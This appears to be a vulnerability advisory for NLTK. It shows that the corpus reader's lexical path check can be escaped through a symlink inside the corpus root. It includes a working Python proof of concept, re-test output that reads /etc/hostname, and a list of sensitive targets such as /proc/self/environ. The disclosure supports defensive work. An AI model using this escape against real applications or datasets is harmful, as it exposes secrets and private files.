NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

Summary

nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details

The vulnerable flow is:

• nltk/corpus/reader/api.py:222

  • CorpusReader.open() blocks absolute paths and .., then calls self._root.join(file).open()

• nltk/data.py:398

  • FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

1. CorpusReader.open() rejects:
   • absolute paths
   • .. path traversal
2. FileSystemPathPointer.join() computes:
   • joined = os.path.normpath(os.path.join(self._path, fileid))
   • root = os.path.normpath(self._path)
3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

• the file ID is not absolute
• the file ID does not contain ..
• the escape only happens after filesystem resolution of a symlink under the allowed root

PoC

Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

import os
import tempfile
from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")

with open(outside_file, "w") as f:
    f.write("secret-data")

os.symlink(outside_dir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
    print(f.read())

Observed result:

secret-data

Docker re-test output:

ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

Additional impact validation using a system file:

ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact

This is an arbitrary local file read / symlink escape issue.

Who is impacted:

• applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
• applications that rely on NLTK corpus readers as a trust boundary for file access
• any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

• application secrets stored on disk
• local configuration files
• private datasets
• process-exposed files such as /proc/self/environ
• system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.